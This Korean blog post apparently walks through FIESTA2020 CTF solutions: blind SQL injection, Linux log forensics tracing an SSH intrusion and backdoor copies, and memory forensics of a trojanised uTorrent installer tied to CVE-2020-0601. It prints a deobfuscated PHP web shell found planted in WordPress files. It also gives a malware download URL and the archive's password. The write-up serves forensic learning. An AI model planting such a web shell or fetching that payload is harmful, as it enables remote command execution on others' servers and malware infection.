안녕하세요. 이번에 팀명 N0Named로 FIESTA2020에 참가했습니다.
제가 맡은 문제에 풀이에 대해서 Write-Up을 작성 해보겠습니다.
Auditor 1번
Blind SQL Injection 문제다.
글을 올리고, 파일을 다운로드 받는 부분에서 SQL Injection이 발생한다.
해당 쿼리문 뒤에 참 값을 넣어주면 정상적으로 파일이 다운로드 받아지고, 거짓이 들어갈 경우, 파일이 다운로드 되지 않는 다는 점을 이용해 Blind SQL Injection을 수행할 수 있었다.
사용한 최종 페이로드는 다음과 같다.
table name과 column name은 Blind SQLi를 안다면 충분히 구할 수 있을 것이라고 생각한다.
Forenlog 1번
마지막으로 해커가 침투한 IP와 시간을 찾는 문제다.
리눅스에는 lastlog라는 명령어가 존재한다. lastlog는 전체 사용자 또는 특정 사용자의 마지막 로그인 기록을 확인할 수 있다. 위치는 /var/log/lastlog다.
FTK Imager로 이미지를 열어, /var/log/lastlog를 확인해봤다.
3_pts/2로 원격으로 접속했고, IP는 10.211.55.2다.
다음은 /var/log/auth.log에서 찾은 10.211.55.2 사용자의 로그인 성공 기록이다.
Aug 12 16:48:06 prob sshd[9305]: Accepted password for prob from 10.211.55.2 port 56610 ssh2
결론은, 공격에 성공한 IP: 10.211.55.2, Time: 16:48:06이다.
FIESTA2020{10.211.55.2_16:48:06}으로 Flag 인증에 성공했다.
Forenlog 2번
해커가 설치한 백도어의 절대 경로를 나열하는 문제다.
리눅스에는 history라는 명령어가 존재한다. history는 쉘에서 사용한 명령을 조회할 수 있다.
history의 로그는 각 유저의 ~/.bash_history 파일에 저장된다. 이 파일을 조회하면 해커가 쉘에서 무슨 명령어를 사용했는지, 알 수 있을 것이다. FTK Imager로 ~/.bash_history 파일을 열어봤다.
wget을 이용해, rootbackdoor을 다운로드하고, 원하는 장소에 cp를 통해, 복사한 후, x,s 권한을 줬음을 알 수 있다. Forenlog-2 문제는 백도어의 절대경로를 알아내는 문제이므로, 해커가 rootbackdoor을 복사한 위치를 나열한다면 문제를 해결할 수 있다. ~/.bash_history에는 사용자가 명령어를 입력한 순서대로 저장되기 때문에, 문제에서 제시한, 나온 시간순으로 배열하시오는 굳이 신경 쓸 필요가 없다.
backdoor의 절대 경로를 순서대로 나열하면 다음과 같다.
/.backdoor => /home/.backdoor => /home/prob/.backdoor => /tmp/.backdoor =>
/var/.backdoor => /etc/.backdoor => /usr/.backdoor => /bin/.backdoor이다.
/.backdoor_/home/.backdoor_/home/prob/.backdoor_/tmp/.backdoor_/var/.backdoor_/etc/.backdoor_/usr/.backdoor_/bin/.backdoor의 sha1 해시값은 6e54d0ca548cd27dce66bf95f8aa87066d2e7ec6이다.
FIESTA2020{6e54d0ca548cd27dce66bf95f8aa87066d2e7ec6}으로 Flag 인증에 성공했다.
Forenlog 3번
해커가 RCE를 위해 설치한 백도어의 절대 경로를 알아내는 문제다.
Forenlog-2 문제를 해결할 때, ~/.bash_history를 보아하니, wordpress를 다운로드하였음을 알 수 있었다. mv 명령어를 이용해 wordpress를 /var/www/html로 옮겼고, apache 설정을 확인하니, /var/www/html가 root의 웹서버 기본 경로임을 확인했다. 또한, rootbackdoor가 2020년 8월 12일 약 오전 7시 52분쯤에 설치되었으므로, RCE를 위해 설치한 백도어는 2020년 8월 12일 이후나, 7시 52분 이후에 설치했을 것으로 추측했다.
/var/www/html/wordpress/index.php의 내용이다. 사진에는 잘 보이지 않지만, eval 함수가 들어간 코드가 있음을 발견했다. 해당 Base64 문자열을 Decode 한 내용은 다음과 같다.
eval(
(function($f, $h) {
$d = explode("\x7c", $h);
$b = preg_replace_callback("\x2f[\x30-\x39\x5d*\x2f", function($e) use($d) {
if (isset($e[0])) {
return (function($g, $h) {
$c = function($i, $j) {
return$i[$j];
};
return $h[$c($g, 0)];
})($e, $d);
}
}, $f);
return $b;
})('?><?0 $1 = [\'\/\', \'\/2\/\', \'\/3\/4\/\', \'\/5\/\', \'\/6\/\', \'\/7\/\', \'\/8\/\', \'\/9\/\']; $10 = 11; 12($13 = 14 ; $15 < 16($17); $18++) { 19(20_21($22[$23] . \'.24\')) { 25($26[$27] . \'.28 \' . $_29[\'30\']); $31 = 32; 33; } } 34($35) 36($_37[\'38\']); ?>', 'php|a|home|home|prob|tmp|var|etc|usr|bin|b|1|for|c|0|c|count|a|c|if|file|exists|a|c|backdoor|system|a|c|backdoor|GET|cmd|b|0|break|if|b|system|GET|cmd|'));
마지막 부분에 문자열을 대입한 결과는 다음과 같다.
<?php
a = ['/', '/home/', '/home/prob/', '/tmp/', '/var/', '/etc/', '/usr/', '/bin/'];
b = 1;
for(c = 0 ; c < count(a); c++) {
if(file_exists(a[c] . '.backdoor')) {
system(a[c] . '.backdoor ' . $_GET['cmd']); b = 0; break;
}
}
if(b) system($_GET['cmd']);
?>
만약, 해당 경로에 .backdoor 파일이 존재한다면, /경로/.backdoor + $_GET[‘cmd’]를 실행한다.
backdoor for RCE를 찾았으니, 이제 남은 파일을 찾는 일만 남았다. 추가로, 8월 12일에 modified된 파일 3개를 발견하였다. (/var/www/html/wordpress/wp-includes/user.php, meta.php, media.php)
모두 동일한 코드가 삽입되어 있음을 확인했다. 그러므로, 총 4개의 backdoor for RCE가 존재함을 알 수 있다. 이제 찾은 파일들의 경로를 길이순, 사전 순으로 배열한 결과는 다음과 같다.
/var/www/html/wordpress/index.php_/var/www/html/wordpress/wp-includes/meta.php_
/var/www/html/wordpress/wp-includes/user.php_/var/www/html/wordpress/wp-includes/media.php이므로, 해당 문자열의 sha1 해시 값이 Flag이다.
FIESTA2020{63e9123c4a9120ef6fdd08fa19bdbe8fd6891a61}으로 Flag 인증에 성공했다.
Evidence 1번
악성코드 유포지 주소를 찾는 문제다.
먼저 메모리 덤프 분석을 위해, Volatility를 이용했고 다음 명령어를 이용해 운영체제를 추측할 수 있었다.
root@kali:~/fiesta/evi# vol.py -f Memory imageinfo
Suggested Profile(s) : Win10x64_17134, Win10x64_14393, Win10x64_10586, Win10x64_16299, Win2016x64_14393, Win10x64_17763, Win10x64_15063 (Instantiated with Win10x64_15063)가 나왔고, 운영체제를 Win10x64_17134라고 가정하고 분석을 진행하였다.
먼저 프로세스 확인을 위해 pstree 명령어를 사용했다.
root@kali:~/fiesta/evi# vol.py -f Memory --profile=Win10x64_17134 pstree
문제 풀이에 필요한 프로세스는 다음과 같다.
........ 0xffffb48b9f8c1080:utorrent_setup 5548 3036 3 0 2020-08-24 23:24:22 UTC+0000
......... 0xffffb48b9f675080:uTorrent.exe 6264 5548 3 0 2020-08-24 23:24:22 UTC+0000
.......... 0xffffb48b9f7e3080:installer.exe
utorrent_setup이라는 프로세스를 수상하게 여겼고, 이를 파일로 추출해봤다.
root@kali:~/fiesta/evi# vol.py -f Memory --profile=Win10x64_17134 procdump -p 5548 -D ./
Volatility Foundation Volatility Framework 2.6.1
Process(V) ImageBase Name Result
------------------ ------------------ -------------------- ------
0xffffb48b9f8c1080 0x0000000000400000 utorrent_setup OK: executable.5548.exe
추출한 파일을 virustotal에 검사해봤다.
이제 유포지 주소를 찾기 위해 Volatility의 yarascan 옵션을 사용했다. yara-rules에 utorrent_setup이라는 rule을 추가하였다.
root@kali:~/fiesta/evi# vol.py -f Memory --profile=Win10x64_17134 yarascan --yara-rules=utorrent_setup
http://54.180.66.177/utorrent_setup.zip이라는 주소를 알아낼 수 있었고, 직접 URL에 들어가 봤다.
파일이 다운로드됨과 동시에, Windows Defender에서 해당 파일에 바이러스가 발견되었다고 경고창이 나타났다. 이로써, 악성코드 유포지의 주소는 http://54.180.66.177/utorrent_setup.zip이다.
http://54.180.66.177/utorrent_setup.zip으로 Flag 인증에 성공했다.
Evidence 2번
공격에 사용된 CVE ID와 숨겨진 flag를 찾는 문제다.
Windows Defender 실시간 검사를 Off 하면, utorrent_setup.zip이 정상적으로 다운로드된다. zip 파일의 압축을 해제하려 하니, 패스워드가 걸려있었다. zip 파일의 패스워드는 Evidence-1에서 사용한 Volatility의 yarascan 옵션으로 찾을 수 있었다.
root@kali:~/fiesta/evi# vol.py -f Memory --profile=Win10x64_17134 yarascan --yara-rules=utorrent_setup
패스워드: 1q2w3e4r!!을 입력하면 성공적으로 압축이 해제된다.
압축을 해제하면 utorrent_setup.exe 파일을 얻을 수 있다. 해당 파일을 virustotal에 검사해봤다.
Dropped:Exploit, CVE-2020-0601이라는 CVE ID를 확인할 수 있다. 해당 CVE-2020-0601의 내용을 확인해봤더니, ECC 인증서의 유효성을 검사하는 부분에서 인증서의 검증이 미흡하여 발생하는 취약점으로, 해커가 Spoofing 된 인증서로 악의적인 실행 파일이나 웹 사이트에 서명하면 Windows가 신뢰할 수 있게 만드는 취약점이라고 한다.
Evidence-2의 Flag는 CVE ID과 숨겨진 Flag를 찾는 문제이다. 앞서 찾은 CVE-2020-0601은 디지털 서명을 이용한 취약점이기 때문에, utorrent_auto.exe의 디지털 서명을 확인해보자고 생각했다. utorrent_auto.exe의 디지털 서명을 보면 Flag 값을 찾을 수 있다.
'CTF Write-Up' 카테고리의 다른 글
[UTCTF 2021] Partial Writeup (0) | 2021.03.15 |
---|---|
[zer0pts CTF 2021] Partial Writeup (2) | 2021.03.07 |
[TrollCat CTF] Only Pwnable WriteUp (0) | 2021.02.07 |
[0x41414141 CTF] Only Pwnable Writeup (2) | 2021.01.25 |
[0xL4ugh CTF] Only Pwnable Writeup (0) | 2021.01.17 |